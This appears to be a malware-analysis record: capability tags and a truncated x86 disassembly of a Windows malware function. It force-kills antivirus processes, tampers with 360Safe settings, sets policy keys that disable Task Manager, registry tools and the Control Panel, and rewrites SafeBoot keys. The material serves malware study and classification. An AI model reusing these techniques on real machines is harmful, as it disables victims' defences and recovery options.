Function at 0x527440
Capabilities:
Manipulate safe mode programs
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push reloc.wsock32.dll_connect
push 0
push str.2056
push 1
mov ebx, 0x160
call fcn.00604c00
add esp, 0x10
push reloc.wsock32.dll_closesocket
push edx
push eax
push 1
mov ebx, 0x214
call fcn.00608d10
add esp, 0x10
push 0x80000301
push 0
push 1
push reloc.wsock32.dll_bind
push 0
push 0
push reloc.wsock32.dll_connect
push 0
push str.taskkill__f__im_kavsvc.exe
push 3
mov ebx, 0x2c0
call fcn.00607900
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.wsock32.dll_bind
push 0
push 0
push reloc.wsock32.dll_connect
push 0
push str.taskkill__f__im_KVXP.kxp
push 3
mov ebx, 0x2c0
call fcn.00607900
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.wsock32.dll_bind
push 0
push 0
push reloc.wsock32.dll_connect
push 0
push str.taskkill__f__im_Rav.exe
push 3
mov ebx, 0x2c0
call fcn.00607900
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.wsock32.dll_bind
push 0
push 0
push reloc.wsock32.dll_connect
push 0
push str.taskkill__f__im_Ravmon.exe
push 3
mov ebx, 0x2c0
call fcn.00607900
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.wsock32.dll_bind
push 0
push 0
push reloc.wsock32.dll_connect
push 0
push str.taskkill__f__im_Mcshield.exe
push 3
mov ebx, 0x2c0
call fcn.00607900
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.wsock32.dll_bind
push 0
push 0
push reloc.wsock32.dll_connect
push 0
push str.taskkill__f__im_VsTskMgr.exe
push 3
mov ebx, 0x2c0
call fcn.00607900
add esp, 0x28
push 0x80000301
push 0
push 0
push reloc.wsock32.dll_connect
push 0
push str.SOFTWARE360Safe_safemonExecAccess
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x6a4
call fcn.00608dd0
add esp, 0x28
push 0x80000301
push 0
push 0
push reloc.wsock32.dll_connect
push 0
push str.SOFTWARE360Safe_safemonMonAccess
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x6a4
call fcn.00608dd0
add esp, 0x28
push 0x80000301
push 0
push 0
push reloc.wsock32.dll_connect
push 0
push str.SOFTWARE360Safe_safemonSiteAccess
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x6a4
call fcn.00608dd0
add esp, 0x28
push 0x80000301
push 0
push 0
push reloc.wsock32.dll_connect
push 0
push str.SOFTWARE360Safe_safemonUDiskAccess
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x6a4
call fcn.00608dd0
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.wsock32.dll_bind
push 0
push 0
push reloc.wsock32.dll_connect
push 0
push str.taskkill__f__im_360tray.exe
push 3
mov ebx, 0x2c0
call fcn.00607900
add esp, 0x28
push reloc.wsock32.dll_connect
push 0
push str.jpegfile
push reloc.wsock32.dll_connect
push 0
push str..txt_
push 0x80000301
push 0
push 1
push 3
mov ebx, 0x6a4
call fcn.00608dd0
add esp, 0x28
push reloc.wsock32.dll_connect
push 0
push str.jpegfile
push reloc.wsock32.dll_connect
push 0
push str..inf_
push 0x80000301
push 0
push 1
push 3
mov ebx, 0x6a4
call fcn.00608dd0
add esp, 0x28
push 0x80000301
push 0
push 0
push reloc.wsock32.dll_connect
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALLCheckedValue
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x6a4
call fcn.00608dd0
add esp, 0x28
push 0x80000301
push 0
push 0
push reloc.wsock32.dll_connect
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x6a4
call fcn.00608dd0
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.wsock32.dll_connect
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoControlPanel
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x6a4
call fcn.00608dd0
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.wsock32.dll_connect
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableregistrytools
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x6a4
call fcn.00608dd0
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.wsock32.dll_connect
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoRun
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x6a4
call fcn.00608dd0
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.wsock32.dll_connect
push 0
push str.SoftWare_Microsoft_Windows_CurrentVersion_PoliciesWinOldAppDisabled
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x6a4
call fcn.00608dd0
add esp, 0x28
push 0x80000601
push 0x41efffff
push 0xffe00000
push reloc.wsock32.dll_connect
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDrives
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x6a4
call fcn.00608dd0
add esp, 0x28
push 0x80000601
push 0x41efffff
push 0xffe00000
push reloc.wsock32.dll_connect
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoViewOnDrive
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x6a4
call fcn.00608dd0
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.wsock32.dll_connect
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoFolderOptions
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x6a4
call fcn.00608dd0
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.wsock32.dll_connect
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDesktop
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x6a4
call fcn.00608dd0
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.wsock32.dll_connect
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoClose
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x6a4
call fcn.00608dd0
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.wsock32.dll_connect
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoFind
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x6a4
call fcn.00608dd0
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.wsock32.dll_connect
push 0
push str.SoftwarePoliciesMicrosoftInternet_ExplorerControl_PanelHomePage
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x6a4
call fcn.00608dd0
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.wsock32.dll_connect
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoFileMenu
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x6a4
call fcn.00608dd0
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.wsock32.dll_connect
push 0
push str.SoftwarePoliciesMicrosoftInternet_ExplorerRestrictionsNoFavorites
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x6a4
call fcn.00608dd0
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.wsock32.dll_connect
push 0
push str.SoftwarePoliciesMicrosoftInternet_ExplorerRestrictionsNoPrinting
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x6a4
call fcn.00608dd0
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.wsock32.dll_connect
push 0
push str.SoftwarePoliciesMicrosoftInternet_ExplorerRestrictionsNoBrowserOptions
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x6a4
call fcn.00608dd0
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.wsock32.dll_connect
push 0
push str.SoftwarePoliciesMicrosoftInternet_ExplorerRestrictionsNoViewSource
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x6a4
call fcn.00608dd0
add esp, 0x28
push 0x80000301
push 0
push 3
push reloc.wsock32.dll_connect
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionInterner_SettingsZones31803
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x6a4
call fcn.00608dd0
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.wsock32.dll_connect
push 0
push str.SoftwarePoliciesMicrosoftInternet_ExplorerRestrictionsNoBrowserContextMenu
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x6a4
call fcn.00608dd0
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.wsock32.dll_connect
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoRealMode
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x6a4
call fcn.00608dd0
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.wsock32.dll_connect
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoLogOff
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x6a4
call fcn.00608dd0
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.wsock32.dll_connect
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoRecentDocsMenu
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x6a4
call fcn.00608dd0
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.wsock32.dll_connect
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoLogOff
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x6a4
call fcn.00608dd0
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.wsock32.dll_connect
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoViewContextMenu
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x6a4
call fcn.00608dd0
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.wsock32.dll_connect
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoSetFolders
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x6a4
call fcn.00608dd0
add esp, 0x28
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimal36FC9E60_C465_11CF_8056_444553540000_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimal4D36E965_E325_11CE_BFC1_08002BE10318_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimal4D36E967_E325_11CE_BFC1_08002BE10318_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimal4D36E969_E325_11CE_BFC1_08002BE10318_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimal4D36E96A_E325_11CE_BFC1_08002BE10318_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimal4D36E96B_E325_11CE_BFC1_08002BE10318_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimal4D36E96F_E325_11CE_BFC1_08002BE10318_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimal4D36E977_E325_11CE_BFC1_08002BE10318_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimal4D36E97B_E325_11CE_BFC1_08002BE10318_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimal4D36E97D_E325_11CE_BFC1_08002BE10318_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimal4D36E980_E325_11CE_BFC1_08002BE10318_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimal71A27CDD_812A_11D0_BEC7_08002BE2092F_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimal745A17A0_74D3_11D0_B6FE_00A0C90F57DA_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimalAppMgmt_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimalBase_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimalBoot_Bus_Extender_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimalBoot_file_system_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimalCryptSvc_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimalDcomLaunch_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimaldmadmin_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimaldmboot.sys_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimaldmio.sys_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimaldmload.sys_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimaldmserver_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimalEventLog_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimalFile_system_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimalFilter_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimalHelpSvc_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimalNetlogon_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimalPCI_Configuration_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimalPlugPlay
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimalPNP_Filter_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimalPrimary_disk_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimalRpcSs_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimalSCSI_Class_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimal_sermouse.sys_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimal_sr.sys_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimalSRService_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimalSystem_Bus_Extender_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimal_vga.sys_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimal_vgasave.sys_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimalWinMgmt_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimal_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetwork36FC9E60_C465_11CF_8056_444553540000_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetwork4D36E965_E325_11CE_BFC1_08002BE10318_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetwork4D36E967_E325_11CE_BFC1_08002BE10318_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetwork4D36E969_E325_11CE_BFC1_08002BE10318_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetwork4D36E96A_E325_11CE_BFC1_08002BE10318_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetwork4D36E96B_E325_11CE_BFC1_08002BE10318_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetwork4D36E96F_E325_11CE_BFC1_08002BE10318_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetwork4D36E972_E325_11CE_BFC1_08002BE10318_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetwork4D36E973_E325_11CE_BFC1_08002BE10318_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetwork4D36E974_E325_11CE_BFC1_08002BE10318_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetwork4D36E975_E325_11CE_BFC1_08002BE10318_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetwork4D36E977_E325_11CE_BFC1_08002BE10318_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetwork4D36E97B_E325_11CE_BFC1_08002BE10318_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetwork4D36E97D_E325_11CE_BFC1_08002BE10318_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetwork4D36E980_E325_11CE_BFC1_08002BE10318_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetwork71A27CDD_812A_11D0_BEC7_08002BE2092F_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetwork745A17A0_74D3_11D0_B6FE_00A0C90F57DA_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkAFD_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkAppMgmt_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkBase_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkBoot_Bus_Extender_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkBoot_file_system_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkBrowser_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkCryptSvc_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkDcomLaunch_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkDhcp_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkdmadmin_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkdmboot.sys_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkdmio.sys_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkdmload.sys_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkdmserver_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkDnsCache_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkEventLog_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkFile_system_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkFilter_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkHelpSvc_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkip6fw.sys_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkipnat.sys_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkLanmanServer_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkLanmanWorkstation_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkLmHosts_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkMessenger_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkNDIS_
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.00601710
add esp, 0x1c
push reloc.wsock32.dll_connect
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkNDIS_Wrapper_
push 0x80000301
push 0
